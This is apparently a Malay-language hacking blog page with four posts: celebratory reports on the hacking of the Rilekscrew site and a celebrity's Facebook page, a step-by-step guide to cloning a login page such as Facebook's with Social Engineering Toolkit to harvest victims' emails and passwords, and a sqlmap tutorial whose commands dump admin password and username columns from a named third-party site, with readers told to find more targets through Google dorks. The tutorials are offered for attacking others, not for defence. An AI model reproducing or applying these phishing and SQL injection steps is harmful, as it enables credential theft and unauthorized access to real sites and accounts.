RC.MY Di Godam Oleh Tiada Otak

ScreenShot Yang Sempat Dirakam

Assalamualaikum

Hari ni ketika sedang syok di Facebook.Aku dikejutkan dengan satu berita daripada BlackHat Assasian bahawa laman sosial Rilekscrew digodam pada pukul 2.38.Aku juga difahamkan laman site tersebut masih lagi belum dibaik pulih sehingga sekarang.Menurut sumber yang boleh dipercayai.Laman sosial Rilekscrew itu digodam oleh seorang hacker yang dikenali "Tiada Otak".Penyerang terbabit ialah orang yang sama yang telah meng-hacked laman rasmi Dragon Force.Korang boleh baca di sini.Motif serangan ialah hanya untuk memberi nasihat kepada hacker yang lain.Lihat pada gambar di bawah untuk mengetahui motif sebenar Tiada Otak:

Apapun kami harap webmaster Rc.My mengambil iktibar tentang insiden yang berlaku ini.

Read More

Phishing With Backtrack

Assalamualaikum

Hari ni aku mahu ajar kepada korang bagaimana mahu membina Phishing Site atau dikenali sebagai Fake Login dengan menggunakan Backtrack.Phishing adalah satu method penipuan siber yang digunakan oleh kebanyakan hacker untuk mendapatkan email dan pass mangsa.Kebanyakan method ini banyak digunakan untuk facebook & blogger.

Sudah tahu apa itu Phishing?Ok.Jom kita mulakan.First,buka dulu Backtrack korang :)


Buka "Application" >> "Social Engineering Tools" >> "Social Engineering Toolkit" >> "set"

1) Korang akan mendapat 12 menu pilihan.Untuk set pilihan.Di huruf set > korang taip 2 dan enter

2) Sekarang korang akan mendapat 8 webattack.Untuk webattack pilihan.Di huruf set:webattack > korang taip 3 dan enter

3) Selepas pada step tadi.Korang akan mendapat 3 method pilihan.Untuk method pilihan.Di huruf set:webattack > korang taip 2 dan enter

4) Pada "Enter The Url To Clone" korang taip la url laman yang korang nak clone seperti http://www.facebook.com atau site pilihan yang korang mahu diclonekan

5) Akan dapatlah satu notis "Press {return} To Continue".Enter sahaja bila jumpa notis ini

Sudah habis di step tadi.Tutup Social Engineering Toolkit korang tadi (jangan pangkah).Korang buka pula "Terminal" dan taip "ipconfig".Kemudian klik enter dan copy addressnya.Korang boleh cari di sebelah tulisan "inet addr". (Copy nombor IP dia Ok?)

1) Buka browser dan paste adress yang korang copy tadi di ruang search di browser korang

2) Akan keluarlah Phishing Site korang yang baru
buat tadi.

3) Untuk menguji ianya berfungsi atau tidak.Cuba login di Phishing tersebut dan kembali balik ke Social Engineering Toolkit yang masih terbuka itu

4) Korang akan dapat melihat password korang sudah terpapar di situ

5) Setelah selesai mendapat email & password mangsa.Ctrl+C dan laman phishing korang akan ditutup dan korang bolehlah tutup Backtrack korang dengan selamat

Read More

Page Zizan Raja Lawak Di Godam

ScreenShot Yang Sempat Dirakam

Assalamualaikum

Kebiasaanya kita sentiasa mendengar "Jack Sparrow Hack Page Artis".Kali ini seperti ada satu perubahan yang hebat.Seorang hamba Allah yang menggelarkan diri mereka Segan Crew dengan ganasnya telah menggodam Page Zizan Rajalawak.Page yang mececah 1.3 m like itu dengan senang dirampas oleh Segan Crew pada waktu yang tidak dikenalpasti #baru tahu.Method yang digunakan dalam serangan ini tidak dapat diketahui.

Apapun ini merupakan satu kejayaan buat mereka kerana berjaya test security admin di page tersebut ^_^

Mesej yang ditinggalkan oleh crew terbabit:


Assalammualaikum. Secara rasminya Fanpage ini dikendalikan oleh Segan.Crew.
Jangan marah2.We only want test our artis fanpage vulnerability .
Next target. . .!


P/S: Mmmuahh! zizan !


Credit to :
http://www.facebook.com/pages/SeganCrew/258078144243368


@Page ada VULNERABILITY ke? xD


Untuk ke page tersebut bolehlah klik di sini


#Dikhabarkan page ini akan dipulangkan balik kepada admin pada 27.03.2012,7.00P.M waktu tempatan :)

Read More

SqlMap With Backtrack

Assalamualaikum

Hari ni aku nak ajar macam mana nak guna SqlMap dalam Backtrack.Inilah sedikit cara bagaimana seseorang pengodam dapat access sesuatu website.Kebanyakan pengodam menggunakan Havij kerana havij adalah satu tool yang direka khas sama seperti SqlMap.Aku cadangkan korang menggunakan SqlMap kerana proses untuk mendapatkan username dan password admin lebih cepat berbanding Havij.Dalam tutorial ini,kita akan cuba dengan menggunakan site www.yboaofnc.com/event.php?id=35 atau site pilihan korang.Boleh dork sendiri di Google.Tanpa membuang masa.Jom kita mulakan tutorial ini.Pastikan korang sudah buka Backtrack :)

Buka pada "Application" >> "Backtrack" >> "Exploitation Tools" >> "Web Exploitation Tools" >> "SqlMap"

1) Taip python sqlmap.py -u www.yboaofnc.com/event.php?id=35 --dbs

2) Scan dan Tunggu

Akan dapatlah 3 database seperti ini:

[*] information_schema

[*] test

[*] yboa<--Yang dimahukan :D

3) Taip  python sqlmap.py –u www.yboaofnc.com/event.php?id=35 -D yboa --tables

4) Scan dan Tunggu

5) Akan nampakla table yang terdapat dalam site tersebut

"So sekarang kita mahu melihat isi kandungan table allowed.So,korang buat seperti di bawah"

"Ingat.Setiap website mempunyai table yang lain2.So pilihlah yang berkaitan je dengan mengubah allowed kepada pilihan korang :D"

6) Taip  python sqlmap.py –u www.yboaofnc.com/event.php?id=35 -D yboa –T allowed --columns

"Sekarang korang dah dapat 3 columns iaitu  id,pwd & uname.So sekarang masanya untuk kita dapatkan pwd.Caranya boleh ikut step di bawah"

7) Taip python sqlmap.py –u www.yboaofnc.com/event.php?id=35 -D yboa -T allowed -C pwd --dump

8) Scan dan Tunggu

"Dah dapat dah passwordnya :D"

"So now.Masanya untuk korang dapatkan username dia pulak.Korang ikut step di bawah"

9)Taip  python sqlmap.py -u  www.yboaofnc.com/event.php?id=35 -T allowed -C uname --dump

"Hanya ubah nama depan C je :)"

10)Scan dan tunggu

11)Akhirnya dapat jugak username dan pass untuk login site tersebut.Apa yang kita perlu buat ialah mencari Admin Login dan Login site tersebut.

Read More